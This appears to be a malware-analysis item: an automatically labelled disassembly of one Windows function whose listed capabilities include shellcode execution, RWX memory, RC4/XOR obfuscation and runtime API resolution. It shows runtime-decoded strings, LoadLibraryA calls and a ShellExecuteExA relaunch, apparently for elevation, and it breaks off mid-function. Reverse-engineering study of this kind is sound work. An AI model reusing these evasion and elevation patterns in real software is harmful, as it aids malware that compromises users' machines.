Function at 0x14001c11c
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x484c8]
mov eax, 0x485a0
call fcn.140095540
sub rsp, rax
mov rax, qword [0x1400e7700]
xor rax, rsp
mov qword [rbp + 0x48490], rax
mov edi, 0x843444
mov ecx, edi
call fcn.140005cf0
lea rdx, [0x1400daaf0]
lea rcx, [rbp + 0xc98]
call fcn.140036a08
mov rdx, rax
mov ecx, edi
call fcn.140007560
mov byte [rbp + 0x1f8], WSASetLastError
mov r12d, 9
mov r9d, r12d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x1f8]
call fcn.140035cf8
mov byte [rbp + 0x1f9], al
mov r9d, r12d
lea r14d, [r12 - 8]
mov r8d, r14d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x1f8]
call fcn.140035cf8
mov byte [rbp + 0x1fa], al
mov r9d, r12d
lea r8d, [r12 - 7]
mov dl, 0x64
lea rcx, [rbp + 0x1f8]
call fcn.140035cf8
mov byte [rbp + 0x1fb], al
mov r9d, r12d
lea eax, [r12 - 6]
mov qword [rbp - 0x28], rax
mov r8d, eax
mov dl, 0x6c
lea rcx, [rbp + 0x1f8]
call fcn.140035cf8
mov byte [rbp + 0x1fc], al
mov r9d, r12d
lea r15d, [r12 - 5]
mov r8d, r15d
mov dl, 0x6c
lea rcx, [rbp + 0x1f8]
call fcn.140035cf8
mov byte [rbp + 0x1fd], al
mov r9d, r12d
lea esi, [r12 - 4]
mov r8d, esi
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x1f8]
call fcn.140035cf8
mov byte [rbp + 0x1fe], al
mov r9d, r12d
lea ebx, [rsi + 1]
mov r8d, ebx
mov dl, 0x64
lea rcx, [rbp + 0x1f8]
call fcn.140035cf8
mov byte [rbp + 0x1ff], al
mov r9d, r12d
lea r13d, [r12 - 2]
mov r8d, r13d
mov dl, 0x6c
lea rcx, [rbp + 0x1f8]
call fcn.140035cf8
mov byte [rbp + 0x200], al
mov r9d, r12d
lea r8d, [r12 - 1]
mov dl, 0x6c
lea rcx, [rbp + 0x1f8]
call fcn.140035cf8
mov byte [rbp + 0x201], al
xor eax, eax
mov byte [rbp + 0x202], al
mov edi, eax
mov r9, r12
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1f9]
lea rcx, [rbp + 0x1f8]
call fcn.140035cf8
mov byte [rbp + rdi + 0x1f9], al
add rdi, r14
cmp rdi, r12
jb 0x14001c2a7
xor eax, eax
mov byte [rbp + 0x202], al
lea rcx, [rbp + 0x1f9]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov byte [rbp + 0x220], Ordinal_41
mov edi, ntohs
mov r9d, edi
xor r8d, r8d
mov dl, 0x6b
lea rcx, [rbp + 0x220]
call fcn.14003646c
mov byte [rbp + 0x221], al
mov r9d, edi
mov r8, r14
mov dl, 0x65
lea rcx, [rbp + 0x220]
call fcn.14003646c
mov byte [rbp + 0x222], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, WSAStartup
lea rcx, [rbp + 0x220]
call fcn.14003646c
mov byte [rbp + 0x223], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x220]
call fcn.14003646c
mov byte [rbp + 0x224], al
mov r9d, edi
mov r8, r15
mov dl, 0x65
lea rcx, [rbp + 0x220]
call fcn.14003646c
mov byte [rbp + 0x225], al
mov r9d, edi
mov r8, rsi
mov dl, 0x6c
lea rcx, [rbp + 0x220]
call fcn.14003646c
mov byte [rbp + 0x226], al
mov r9d, edi
mov r8, rbx
mov dl, 0x33
lea rcx, [rbp + 0x220]
call fcn.14003646c
mov byte [rbp + 0x227], al
mov r9d, edi
mov r8, r13
mov dl, reloc.WLDAP32.dll_Ordinal_50
lea rcx, [rbp + 0x220]
call fcn.14003646c
mov byte [rbp + 0x228], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x220]
call fcn.14003646c
mov byte [rbp + 0x229], al
mov r9d, edi
mov r8, r12
mov dl, 0x64
lea rcx, [rbp + 0x220]
call fcn.14003646c
mov byte [rbp + 0x22a], al
mov r9d, edi
lea eax, [rdi - 2]
mov qword [rbp - 0x40], rax
mov r8d, eax
mov dl, 0x6c
lea rcx, [rbp + 0x220]
call fcn.14003646c
mov byte [rbp + 0x22b], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, 0x6c
lea rcx, [rbp + 0x220]
call fcn.14003646c
mov byte [rbp + 0x22c], al
xor eax, eax
mov byte [rbp + 0x22d], al
mov edi, eax
mov r9d, ntohs
mov r8, rdi
mov dl, byte [rbp + rdi + 0x221]
lea rcx, [rbp + 0x220]
call fcn.14003646c
mov byte [rbp + rdi + 0x221], al
add rdi, r14
cmp rdi, 0xc
jb 0x14001c43d
xor esi, esi
mov byte [rbp + 0x22d], sil
lea rcx, [rbp + 0x221]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.14001b6b4
test eax, eax
jne 0x14001cdd5
mov edi, esi
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x28380]
call fcn.1400bcba0
mov r8d, ebx
lea rdx, [rbp + 0x28380]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x14001c61a
xor edx, edx
lea r8d, [rsi + 0x60]
lea rcx, [rbp + 0xdb0]
call fcn.1400bcba0
mov dword [rbp + 0xda0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xda4], 0x400
mov qword [rbp + 0xda8], rsi
mov byte [rbp + 0x710], 0x63
lea ebx, [rsi + 5]
mov r9d, ebx
xor r8d, r8d
mov dl, WSAStartup
lea rcx, [rbp + 0x710]
call fcn.1400363f4
mov byte [rbp + 0x711], al
mov r9d, ebx
mov r8, r14
mov dl, 0x75
lea rcx, [rbp + 0x710]
call fcn.1400363f4
mov byte [rbp + 0x712], al
mov r9d, ebx
lea r8d, [rsi + 2]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x710]
call fcn.1400363f4
mov byte [rbp + 0x713], al
mov r9d, ebx
lea r8d, [rsi + 3]
mov dl, 0x61
lea rcx, [rbp + 0x710]
call fcn.1400363f4
mov byte [rbp + 0x714], al
mov r9d, ebx
mov r8, r15
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x710]
call fcn.1400363f4
mov byte [rbp + 0x715], al
xor eax, eax
mov byte [rbp + 0x716], al
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x711]
lea rcx, [rbp + 0x710]
call fcn.1400363f4
mov byte [rbp + rdi + 0x711], al
add rdi, r14
cmp rdi, rbx
jb 0x14001c58a
xor eax, eax
mov byte [rbp + 0x716], al
lea rax, [rbp + 0x711]
mov qword [rbp + 0xdb0], rax
lea rax, [rbp + 0x28380]
mov qword [rbp + 0xdb8], rax
lea rax, [0x1400daaf0]
mov qword [rbp + 0xdc0], rax
xor eax, eax
mov qword [rbp + 0xdc8], rax
mov dword [rbp + 0xdd0], r14d
mov qword [rbp + 0xdd8], rax
lea rcx, [rbp + 0xda0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140033ded
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x14001c61f
mov ebx, 5
mov edx, edi
lea rcx, [rbp + 0xc18]
call fcn.14001b598
mov qword [rsp + 0x68], rax
mov byte [rbp + 0x998], Ordinal_32
mov edi, reloc.WLDAP32.dll_Ordinal_45
mov r9d, edi
xor r8d, r8d
mov dl, 0x50
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x999], al
mov r9d, edi
mov r8, r14
mov dl, 0x6c
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x99a], al
mov r9d, edi
lea r8d, [rdi - 0x2b]
mov dl, 0x65
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x99b], al
mov r9d, edi
lea r8d, [rdi - 0x2a]
mov dl, 0x61
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x99c], al
mov r9d, edi
mov r8, r15
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x99d], al
mov r9d, edi
mov r8, rbx
mov dl, 0x65
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x99e], al
mov r9d, edi
lea r8d, [rdi - 0x27]
lea r15d, [rdi - 0xd]
mov dl, r15b
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x99f], al
mov r9d, edi
mov r8, r13
mov dl, 0x4c
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9a0], al
mov r9d, edi
lea r8d, [rdi - 0x25]
mov dl, 0x61
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9a1], al
mov r9d, edi
mov r8, r12
mov dl, 0x75
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9a2], al
mov r9d, edi
lea r8d, [rdi - 0x23]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9a3], al
mov r9d, edi
lea r8d, [rdi - 0x22]
mov dl, 0x63
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9a4], al
mov r9d, edi
lea r8d, [rdi - 0x21]
mov dl, 0x68
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9a5], al
mov r9d, edi
lea r8d, [rdi - 0x20]
mov dl, r15b
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9a6], al
mov r9d, edi
lea r8d, [rdi - 0x1f]
mov dl, 0x42
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9a7], al
mov r9d, edi
lea r8d, [rdi - 0x1e]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9a8], al
mov r9d, edi
lea r13d, [rdi - 0x1d]
mov r8d, r13d
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9a9], al
mov r9d, edi
lea ebx, [rdi - 0x1c]
mov r8d, ebx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9aa], al
mov r9d, edi
lea r8d, [rdi - 0x1b]
mov dl, 0x53
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9ab], al
mov r9d, edi
lea r8d, [rdi - 0x1a]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9ac], al
mov r9d, edi
lea r8d, [rdi - 0x19]
mov dl, WSAStartup
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9ad], al
mov r9d, edi
lea r8d, [rdi - 0x18]
mov dl, 0x61
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9ae], al
mov r9d, edi
lea r8d, [rdi - 0x17]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9af], al
mov r9d, edi
lea r8d, [rdi - 0x16]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9b0], al
mov r9d, edi
lea r8d, [rdi - 0x15]
mov dl, 0x65
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9b1], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, WSAStartup
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9b2], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, r15b
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9b3], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, 0x61
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9b4], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9b5], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, r15b
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9b6], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x41
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9b7], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, 0x64
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9b8], al
mov r9d, edi
mov r8d, r15d
mov dl, 0x6d
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9b9], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, 0x69
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9ba], al
mov r9d, edi
lea r8d, [rdi - 0xb]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9bb], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, 0x69
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9bc], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9bd], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9be], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, WSAStartup
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9bf], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, 0x61
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9c0], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9c1], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9c2], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, WSAStartup
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9c3], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, r15b
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9c4], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, Ordinal_41
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + 0x9c5], al
xor eax, eax
mov byte [rbp + 0x9c6], al
mov rdi, rsi
mov r9d, reloc.WLDAP32.dll_Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0x999]
lea rcx, [rbp + 0x998]
call fcn.14003637c
mov byte [rbp + rdi + 0x999], al
add rdi, r14
cmp rdi, 0x2d
jb 0x14001cb0f
mov byte [rbp + 0x9c6], sil
mov r8, qword [rsp + 0x68]
lea rdx, [rbp + 0x999]
lea rcx, [rbp + 0xc78]
call fcn.140036d64
mov rdx, rax
lea r8, [0x1400ddb24]
lea rcx, [rbp + 0xfc0]
call fcn.140036e7c
lea rcx, [rbp + 0xc78]
call fcn.140036920
lea rcx, [rbp + 0xc18]
call fcn.140036920
mov byte [rbp + 0x320], 0x78
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x320]
call fcn.140035de8
mov byte [rbp + 0x321], al
mov r9, rbx
mov r8, r14
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x320]
call fcn.140035de8
mov byte [rbp + 0x322], al
mov r9, rbx
mov r8d, 2
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x320]
call fcn.140035de8
mov byte [rbp + 0x323], al
mov r9, rbx
mov r8d, 3
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x320]
call fcn.140035de8
mov byte [rbp + 0x324], al
mov r9, rbx
mov r8d, 4
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x320]
call fcn.140035de8
mov byte [rbp + 0x325], al
mov r9, rbx
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x320]
call fcn.140035de8
mov byte [rbp + 0x326], al
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0x320]
call fcn.140035de8
mov byte [rbp + 0x327], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x320]
call fcn.140035de8
mov byte [rbp + 0x328], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x320]
call fcn.140035de8
mov byte [rbp + 0x329], al
mov r9, rbx
mov r8, r12
mov dl, r15b
lea rcx, [rbp + 0x320]
call fcn.140035de8
mov byte [rbp + 0x32a], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x46
lea rcx, [rbp + 0x320]
call fcn.140035de8
mov byte [rbp + 0x32b], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x320]
call fcn.140035de8
mov byte [rbp + 0x32c], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x320]
call fcn.140035de8
mov byte [rbp + 0x32d], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x320]
call fcn.140035de8
mov byte [rbp + 0x32e], al
mov r9, rbx
mov r8d, select
mov dl, 0x75
lea rcx, [rbp + 0x320]
call fcn.140035de8
mov byte [rbp + 0x32f], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0x320]
call fcn.140035de8
mov byte [rbp + 0x330], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x320]
call fcn.140035de8
mov byte [rbp + 0x331], al
xor eax, eax
mov byte [rbp + 0x332], al
mov rdi, rsi
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x321]
lea rcx, [rbp + 0x320]
call fcn.140035de8
mov byte [rbp + rdi + 0x321], al
add rdi, r14
cmp rdi, rbx
jb 0x14001cd7c
mov byte [rbp + 0x332], sil
lea rcx, [rbp + 0xfc0]
call fcn.140036764
xor r9d, r9d
lea r8, [rbp + 0x321]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, r14d
call fcn.14009bc48
int3
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor ecx, ecx
call fcn.14009d014
mov rbx, rax
mov edi, 6
mov byte [rbp - 0x18], dil
mov r9, r14
xor r8d, r8d
mov dl, WSAStartup
lea rcx, [rbp - 0x18]
call fcn.140037434
mov byte [rbp - 0x17], al
xor ecx, ecx
mov byte [rbp - 0x16], cl
mov r9, r14
xor r8d, r8d
mov dl, al
lea rcx, [rbp - 0x18]
call fcn.140036224
mov byte [rbp - 0x17], al
mov byte [rbp - 0x16], sil
mov byte [rbp], 0x48
mov r9d, edi
xor r8d, r8d
mov dl, 0x43
lea rcx, [rbp]
call fcn.140036300
mov byte [rbp + 1], al
mov r9d, edi
mov r8, r14
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp]
call fcn.140036300
mov byte [rbp + 2], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, Ordinal_79
lea rcx, [rbp]
call fcn.140036300
mov byte [rbp + 3], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x49
lea rcx, [rbp]
call fcn.140036300
mov byte [rbp + 4], al
mov r9d, edi
mov r8, r15
mov dl, Ordinal_79
lea rcx, [rbp]
call fcn.140036300
mov byte [rbp + 5], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, 0x24
lea rcx, [rbp]
call fcn.140036300
mov byte [rbp + 6], al
xor eax, eax
mov byte [rbp + 7], al
mov rdi, rsi
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi + 1]
lea rcx, [rbp]
call fcn.140036300
mov byte [rbp + rdi + 1], al
add rdi, r14
cmp rdi, 6
jb 0x14001cea6
mov byte [rbp + 7], sil
mov r9, rbx
lea r8, [rbp - 0x17]
lea rdx, [rbp + 1]
lea rcx, [rbp + 0xd28]
call fcn.1400a0398
mov edi, 2
mov ecx, edi
call fcn.14009d014
mov rbx, rax
mov byte [rbp - 0x14], dil
mov r9, r14
xor r8d, r8d
mov dl, 0x77
lea rcx, [rbp - 0x14]
call fcn.140037434
mov byte [rbp - 0x13], al
xor ecx, ecx
mov byte [rbp - 0x12], cl
mov r9, r14
xor r8d, r8d
mov dl, al
lea rcx, [rbp - 0x14]
call fcn.140036224
mov byte [rbp - 0x13], al
mov byte [rbp - 0x12], sil
mov byte [rbp + 0x18], 0x49
mov r9, r13
xor r8d, r8d
mov dl, 0x43
lea rcx, [rbp + 0x18]
call fcn.140036288
mov byte [rbp + 0x19], al
mov r9, r13
mov r8, r14
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x18]
call fcn.140036288
mov byte [rbp + 0x1a], al
mov r9, r13
mov r8d, edi
mov dl, Ordinal_79
lea rcx, [rbp + 0x18]
call fcn.140036288
mov byte [rbp + 0x1b], al
mov r9, r13
lea r8d, [rdi + 1]
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x18]
call fcn.140036288
mov byte [rbp + 0x1c], al
mov r9, r13
mov r8, r15
mov dl, 0x55
lea rcx, [rbp + 0x18]
call fcn.140036288
mov byte [rbp + 0x1d], al
mov r9, r13
lea r8d, [rdi + 3]
mov dl, 0x54
lea rcx, [rbp + 0x18]
call fcn.140036288
mov byte [rbp + 0x1e], al
mov r9, r13
lea r8d, [rdi + 4]
mov dl, 0x24
lea rcx, [rbp + 0x18]
call fcn.140036288
mov byte [rbp + 0x1f], al
xor eax, eax
mov byte [rbp + 0x20], al
mov rdi, rsi
mov r9, r13
mov r8, rdi
mov dl, byte [rbp + rdi + 0x19]
lea rcx, [rbp + 0x18]
call fcn.140036288
mov byte [rbp + rdi + 0x19], al
add rdi, r14
cmp rdi, r13
jb 0x14001cfc3
mov byte [rbp + 0x20], sil
mov r9, rbx
lea r8, [rbp - 0x13]
lea rdx, [rbp + 0x19]
lea rcx, [rbp + 0xd28]
call fcn.1400a0398
mov ecx, r14d
call fcn.14009d014
mov rbx, rax
mov byte [rbp - 0x10], reloc.WLDAP32.dll_Ordinal_50
mov r9, r14
xor r8d, r8d
mov dl, 0x77
lea rcx, [rbp - 0x10]
call fcn.140037434
mov byte [rbp - 0xf], al
xor ecx, ecx
mov byte [rbp - 0xe], cl
mov r9, r14
xor r8d, r8d
mov dl, al
lea rcx, [rbp - 0x10]
call fcn.140036224
mov byte [rbp - 0xf], al
mov byte [rbp - 0xe], sil
mov byte [rbp + 0x28], 0x40
mov r9, r13
xor r8d, r8d
mov dl, 0x43
lea rcx, [rbp + 0x28]
call fcn.140036288
mov byte [rbp + 0x29], al
mov r9, r13
mov r8, r14
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x28]
call fcn.140036288
mov byte [rbp + 0x2a], al
mov r9, r13
mov r8d, 2
mov dl, Ordinal_79
lea rcx, [rbp + 0x28]
call fcn.140036288
mov byte [rbp + 0x2b], al
mov r9, r13
mov r8d, 3
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x28]
call fcn.140036288
mov byte [rbp + 0x2c], al
mov r9, r13
mov r8, r15
mov dl, 0x55
lea rcx, [rbp + 0x28]
call fcn.140036288
mov byte [rbp + 0x2d], al
mov r9, r13
mov r8d, 5
mov dl, 0x54
lea rcx, [rbp + 0x28]
call fcn.140036288
mov byte [rbp + 0x2e], al
mov r9, r13
mov r8d, 6
mov dl, 0x24
lea rcx, [rbp + 0x28]
call fcn.140036288
mov byte [rbp + 0x2f], al
xor eax, eax
mov byte [rbp + 0x30], al
mov rdi, rsi
mov r9, r13
mov r8, rdi
mov dl, byte [rbp + rdi + 0x29]
lea rcx, [rbp + 0x28]
call fcn.140036288
mov byte [rbp + rdi + 0x29], al
add rdi, r14
cmp rdi, r13
jb 0x14001d0e1
mov byte [rbp + 0x30], sil
mov r9, rbx
lea r8, [rbp - 0xf]
lea rdx, [rbp + 0x29]
lea rcx, [rbp + 0xd28]
call fcn.1400a0398
mov byte [rbp + 0xab0], 8
mov edi, 0x3e
mov r9d, edi
xor r8d, r8d
mov dl, 0x50
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xab1], al
mov r9d, edi
mov r8, r14
mov dl, WSAStartup
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xab2], al
mov r9d, edi
lea r8d, [rdi - 0x3c]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xab3], al
mov r9d, edi
lea r8d, [rdi - 0x3b]
mov dl, 0x63
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xab4], al
mov r9d, edi
mov r8, r15
mov dl, 0x65
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xab5], al
mov r9d, edi
lea r8d, [rdi - 0x39]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xab6], al
mov r9d, edi
lea r8d, [rdi - 0x38]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xab7], al
mov r9d, edi
mov r8, r13
mov dl, 0x69
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xab8], al
mov r9d, edi
lea r8d, [rdi - 0x36]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xab9], al
mov r9d, edi
mov r8, r12
mov dl, 0x67
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xaba], al
mov r9d, edi
lea r8d, [rdi - 0x34]
lea r15d, [rdi - 0x1e]
mov dl, r15b
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xabb], al
mov r9d, edi
lea r8d, [rdi - 0x33]
mov dl, 0x43
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xabc], al
mov r9d, edi
lea r8d, [rdi - 0x32]
mov dl, 0x6c
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xabd], al
mov r9d, edi
lea r8d, [rdi - 0x31]
mov dl, 0x69
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xabe], al
mov r9d, edi
lea r8d, [rdi - 0x30]
mov dl, 0x65
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xabf], al
mov r9d, edi
lea r8d, [rdi - 0x2f]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xac0], al
mov r9d, edi
lea r8d, [rdi - 0x2e]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xac1], al
mov r13d, edi
mov r9d, edi
lea r8d, [rdi - 0x2d]
mov dl, r15b
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xac2], al
mov r9d, edi
lea r8d, [rdi - 0x2c]
mov dl, 0x44
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xac3], al
mov r9d, edi
lea edi, [r9 - 0x2b]
mov r8d, edi
mov dl, 0x61
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xac4], al
mov r9d, r13d
lea esi, [rdi + 1]
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xac5], al
mov r9d, r13d
lea r12d, [r13 - 0x29]
mov r8d, r12d
mov dl, 0x61
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xac6], al
mov r9d, r13d
lea r8d, [r13 - 0x28]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xac7], al
mov r9d, r13d
lea r14d, [r13 - 0x27]
mov r8d, r14d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xab0]
call fcn.140035b90
